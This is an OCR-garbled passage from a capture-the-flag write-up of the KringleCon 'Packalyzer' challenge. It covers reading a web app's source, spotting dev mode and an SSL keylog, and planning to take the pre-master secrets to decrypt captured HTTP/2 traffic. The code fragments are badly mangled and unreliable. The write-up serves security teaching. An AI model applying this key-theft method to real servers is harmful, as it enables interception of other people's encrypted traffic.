2b67fb5de:~%

New [Achievement] Unlocked: Python Escape from LAI
Click here to see this item in your badge.

)
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Packalyze This

Rumor has it that Packalyzer was rushed with some development code in the web root and
some code using environment variables were used to store SSL keys and open directories.
SugarPlum also suggests manipulating the URL as the site gave back customized errors.

Let us register and see if we can access and find the source code of this web application.

# Date & Time Frame Len

¥ (Y packalyzer.kringlecastle.com:30

ict';
v pub i eupload’).fileupload({
fapifupload’,

Ceg
fonts/roboto 3 i (= derE) o

) result.request) {

mg analyze packets(data.result.data.clean(""));

1 else {

e g BLSE

ik Materialize.toast('<text style="color: #f44 >'+data.result.data+"</
custom.js }
. ) . setTimeout(f n()4{
jguenyfileupload.js $( #progress-level).css(

‘width®,

s

jqueny.iframe-transport.js

ulwidgetjs )

. $("#upload_traffic_button').removeClass
loader.js $( ' #sniff_traffic').prop( disabled’, fa
1,2000);

jguery.

¥S5.)5

Inspecting the page does not yield any juicy developer mishap but viewing the source page
of the Packalyzerpage presents a very interesting comment on the File upload function. 1t
seems that files are being validated server-sidein app.js. That is why we were unable to see
any reference to it. Let us assume this is the code SugarPlum said that is on the web root.

packalyzer.kringlecastle.com

This is the code we

#!/usr/bin/node

//pcapalyzer - The web based packet analyzer afe/ooﬁngfar/
const cluster = require(’cluster');

const os = require('os'); MaveaIOHg!
const path = require('path');

const fs = require('fs");

const http2 = require( "http2');
const koa = require('koa’);

const Router = require('koa-router');
const mime = require{'mime-types');
const mongoose = require( 'mongoose’);
const kosBody = require(’koa-body');
const cookie = require('koa-cookie'};
const execSync = require('child proce
const execAsync = require('child_proc

").execsync;

ss
oo
ess').exec;
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This challenge is asking us to decrypt network traffic at KringleConand the Packalyzertool
is their full packet capture device. Now that we are a registered user, let us try to sniff and
analyze some traffic.

Click on Captures to download the pcap so, you can load it in a familiar tool like WireShark
After a quick assessment of the packet capture we see that the traffic looks like norma |
SSL/TLScommunication. However, SugarP/lummentioned that the environment is using
HTTP/2 so the pcap might not be the end of the tale. From our previous challenge we know
that major clients have implemented HTTP/2 with mandatory encryption.

To see the real traffic, we need to understand how the system encrypts the traffic and get a
pre-master-secret log from the server to decrypt the packets. Fortunately, we have a copy of
the scrijpt that handles the initialization and variable declarations.

From this piece of code, we see that dev_modeis turned on. A keylogis used to decrypt
traffic for troubleshooting purposes. Now we need to understand what the environment
variables does since the server-side validation also generates a custom 404 Not Found
error. Pretty smart.
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